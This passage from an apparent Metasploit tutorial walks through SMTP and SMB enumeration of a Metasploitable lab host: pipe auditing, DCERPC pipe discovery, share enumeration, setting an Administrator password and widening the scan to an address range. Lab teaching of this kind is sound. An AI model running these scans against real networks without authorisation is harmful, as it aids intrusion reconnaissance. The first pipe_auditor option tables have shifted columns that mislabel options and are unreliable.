[+] 192.168.29.89:25 - 192.168.29.89:25 SMTP 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)\x0d\x0a
[*] 192.168.29.89:25 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

SMB:

The **pipe_auditor** scanner will determine what named pipes are available over SMB. In your information gathering stage, this can provide you with some insight as to some of the services that are running on the remote system.

```
msf6 auxiliary(scanner/smb/pipe_auditor) > show options
```

Module options (auxiliary/scanner/smb/pipe_auditor):

Name	Current Setting	Required	Description
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS		yes	The target host(s), range C
IDR identifier, or hosts file with syntax 'file:<path>'		no	The Windows domain to use for authentication
SMBDomain	.	no	The password for the specified username
SMBPass		no	The username to authenticate as
SMBUser		yes	The number of concurrent threads (max one per host)
THREADS	1		

```
msf6 auxiliary(scanner/smb/pipe_auditor) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/smb/pipe_auditor) > set THREADS 11
THREADS => 11
msf6 auxiliary(scanner/smb/pipe_auditor) > run
```

```
[*] 192.168.29.89: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msf6 auxiliary(scanner/smb/pipe_auditor) > set SMBpass s3cr3t
SMBpass => s3cr3t
msf6 auxiliary(scanner/smb/pipe_auditor) > set SMBUser Administrator
SMBUser => Administrator
msf6 auxiliary(scanner/smb/pipe_auditor) > run
```

```
[*] 192.168.29.89: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
msf6 auxiliary(scanner/smb/pipe_auditor) > show options
```

Module options (auxiliary/scanner/smb/pipe_auditor):

Name	Current Setting	Required	Description
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS	192.168.29.89	yes	The target host(s), range C
IDR identifier, or hosts file with syntax 'file:<path>'		no	The Windows domain to use for authentication
SMBDomain	.	no	The password for the specified username
SMBPass	s3cr3t	no	The username to authenticate as
SMBUser	Administrator	yes	The number of concurrent threads (max one per host)
THREADS	11		

The **pipe_dcerpc_auditor** scanner will return the DCERPC services that can be accessed via a SMB pipe.


```

msf6 auxiliary(scanner/smb/pipe_auditor) > use auxiliary/scanner/smb/pipe_dcerpc_auditor
msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > show options

Module options (auxiliary/scanner/smb/pipe_dcerpc_auditor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    .                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SMBDomain .                no        The Windows domain to use for authentication
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER)
  SMBPass   .                no        The password for the specified username
  SMBUser   .                no        The username to authenticate as
  THREADS   1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > set THREADS 11
THREADS => 11
msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > run

[*] 192.168.29.89: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > show options

Module options (auxiliary/scanner/smb/pipe_dcerpc_auditor):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.29.89   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SMBDomain .                no        The Windows domain to use for authentication
  SMBPIPE   BROWSER          yes       The pipe name to use (BROWSER)
  SMBPass   .                no        The password for the specified username
  SMBUser   .                no        The username to authenticate as
  THREADS   11              yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > set RHOSTS 192.168.29.89-165
RHOSTS => 192.168.29.89-165
msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > set THREADS 16
THREADS => 16

msf6 auxiliary(scanner/smb/pipe_dcerpc_auditor) > run

[*] 192.168.29.89-165: - Scanned 12 of 77 hosts (15% complete)
[*] 192.168.29.89-165: - Scanned 16 of 77 hosts (20% complete)

```

The **smb_enumshares** module, as would be expected, enumerates any SMB shares that are available on a remote system.

```

msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > show options

Module options (auxiliary/scanner/smb/smb_enumshares):

  Name      Current Setting  Required  Description
  --      -
  LogSpider  3                no        0 = disabled, 1 = CSV, 2 = table (txt), 3 = one liner (txt) (Accepted: 0, 1, 2, 3)
  MaxDepth  999              yes       Max number of subdirectories to spider
  RHOSTS    .                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  SMBDomain .                no        The Windows domain to use for authentication
  SMBPass   .                no        The password for the specified username
  SMBUser   .                no        The username to authenticate as
  ShowFiles false            yes       Show detailed information when spidering
  SpiderProfiles true             no        Spider only user profiles when share = C$
  SpiderShares false           no        Spider shares recursively
  THREADS   1                yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.29.89-165
RHOSTS => 192.168.29.89-165
msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.29.89
RHOSTS => 192.168.29.89
msf6 auxiliary(scanner/smb/smb_enumshares) > set THREADS 16
THREADS => 16
msf6 auxiliary(scanner/smb/smb_enumshares) > run

[*] 192.168.29.89:139 - No shares collected
[*] 192.168.29.89:445 - No shares collected
[*] 192.168.29.89: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```